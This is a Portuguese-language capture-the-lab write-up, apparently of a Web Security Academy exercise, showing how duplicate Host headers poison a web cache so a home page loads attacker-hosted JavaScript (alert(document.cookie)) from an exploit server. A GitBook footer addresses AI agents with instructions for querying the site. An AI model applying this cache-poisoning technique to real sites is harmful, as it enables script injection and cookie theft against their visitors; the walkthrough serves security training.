> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/host-header/web-cache-poisoning-via-ambiguous-requests.md).

# Envenenamento de Cache Web via Requisições Ambíguas

### Envenenamento de cache da web via requisições ambíguas

**Descrição do laboratório**

Este laboratório é vulnerável a um **envenenamento de cache da web** devido às diferenças em como o **Sistema de cache** e **Servidor de back-end** interpretam requisições ambíguas. / Um usuário legítimo visita regularmente a página inicial do site.

\*\*Objetivo:\*\*/ Envenenar o cache para que a página inicial seja executada `alert(document.cookie)` no navegador da vítima.

**Observação inicial**

* As respostas HTTP contêm um cabeçalho indicando uma idade de cache de 30 segundos\*\* (`Age: 30`), confirmando o uso de um mecanismo de cache.
* O comportamento do servidor varia de acordo com a estrutura da requisição, especialmente no `Host` cabeçalho.

<figure><img src="/files/4b6c55b5d690fdf35db4ab02e11013b4b46b0522" alt=""><figcaption></figcaption></figure>

**Teste com Host inválido**

Alterando o `Host` cabeçalho com um valor inexistente:

```http
Host: wfwfkowf.com
```

A resposta retornada é um erro de Gateway Timeout, indicando que o servidor está tentando resolver este valor:

{% code overflow="wrap" %}

```html
<html>
    <head>
        <title>
            Erro do servidor: Gateway Timeout
        </title>
    </head>
    <body>
        <h1>
            Erro do servidor: Gateway Timeout (1) ao se conectar a wfwfkowf.com
        </h1>
    </body>
</html>
```

{% endcode %}

Essa abordagem está bloqueada e, portanto, não pode ser explorada diretamente

<figure><img src="/files/71f279b7e7df4c6756b5113af692a08d8b62936c" alt=""><figcaption></figcaption></figure>

**Uso de dois cabeçalhos Host**

Enviando **dois `Host` cabeçalhos na mesma requisição**:

```http
Host: 0a7600890341e19d80ad0d880001003c.h1-web-security-academy.net
Host: test.com
```

* A aplicação responde normalmente.
* O valor do **segundo Host** é refletido no recurso carregado no lado do cliente (por exemplo, em um `src` atributo).

<figure><img src="/files/3b5fcd490b3ac1d180c24945882793c8192ae58b" alt=""><figcaption></figcaption></figure>

Isso revela uma \*\*interpretação\*\* inconsistente entre o cache e o back-end

**Preparação do payload**

No servidor operacional, um arquivo JavaScript é criado:

/resources/js/tracking.js

Conteúdo :

```javascript
alert(document.cookie);
```

<figure><img src="/files/dde8db8a6ab51ac4a304882565d4b939e89735b2" alt=""><figcaption></figcaption></figure>

**Envenenamento de cache**

Uma nova requisição é enviada com dois `Host` cabeçalhos, sendo o segundo apontando para o servidor operacional:

```http
Host: 0a7600890341e19d80ad0d880001003c.h1-web-security-academy.net
Host: exploit-0a78008803c6e19880480c08010e0021.exploit-server.net
```

* O back-end aceita a requisição.
* O cache registra a resposta envenenada.

<figure><img src="/files/7b91762daefdd69a646cb8c25270e9b5b887ad64" alt=""><figcaption></figcaption></figure>

A página inicial agora faz referência ao script JavaScript hospedado no servidor do invasor.

<figure><img src="/files/07e34dc79c7cbc8114b8f2ca0f88a480f157b87f" alt="" width="545"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/host-header/web-cache-poisoning-via-ambiguous-requests.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
